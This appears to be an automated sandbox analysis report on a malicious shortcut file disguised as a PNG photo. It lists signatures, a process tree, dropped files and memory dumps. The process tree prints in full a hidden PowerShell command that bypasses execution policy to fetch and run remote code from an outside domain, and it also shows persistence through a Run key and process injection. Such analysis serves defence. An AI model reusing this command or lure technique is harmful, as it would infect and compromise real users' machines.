Analysis
- max time kernel
148s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
27/06/2026, 00:19
General
- Target photo_98285721655.png.lnk
- Size 1KB
- Sample260627-amf9csfv7w
- SHA256 287e00573282382fae497baf9a74bbd7ec79d46084df366e4cbf6001d30afb5d
Malware Config
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 1 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photo_98285721655.png.lnk1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -ExecutionPolicy Bypass -c "iex(irm yigu360.com)"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -c "iex(irm yigu360.com)"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\punpwfa2_qlaofx_upd_vem\psl.exe"C:\Users\Admin\AppData\Local\punpwfa2_qlaofx_upd_vem\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"5⤵
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C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
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C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\Java Updater" psl.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
rusy_apt_ptesm.zip
libiconv-2.dll
libidn2-0.dll
libintl-8.dll
libpsl-5.dll
libunistring-5.dll
psl.exe
DCRCVDrv.sys
memory/2768-67-0x0000000000010000-0x000000000003D000-memory.dmp
memory/3756-79-0x0000000000620000-0x000000000068E000-memory.dmp
memory/3864-11-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-30-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-14-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-15-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-16-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-19-0x000001FC6FA30000-0x000001FC6FA4E000-memory.dmp
memory/3864-20-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-21-0x000001FC6FF20000-0x000001FC6FFD2000-memory.dmp
memory/3864-22-0x000001FC6FA50000-0x000001FC6FA5A000-memory.dmp
memory/3864-23-0x000001FC6FA90000-0x000001FC6FABA000-memory.dmp
memory/3864-24-0x000001FC6FA90000-0x000001FC6FAB4000-memory.dmp
memory/3864-25-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-26-0x000001FC6FA30000-0x000001FC6FA3A000-memory.dmp
memory/3864-28-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-29-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-13-0x000001FC6FFF0000-0x000001FC701B2000-memory.dmp
memory/3864-32-0x000001FC6FA60000-0x000001FC6FA72000-memory.dmp
memory/3864-12-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-0-0x00007FFA2DA3F000-0x00007FFA2DA40000-memory.dmp
memory/3864-10-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-65-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-9-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-8-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-7-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-6-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-2-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/3864-5-0x000001FC6F7F0000-0x000001FC6F812000-memory.dmp
memory/3864-1-0x00007FFA2D8B0000-0x00007FFA2E254000-memory.dmp
memory/5892-80-0x00007FF605750000-0x00007FF605765000-memory.dmp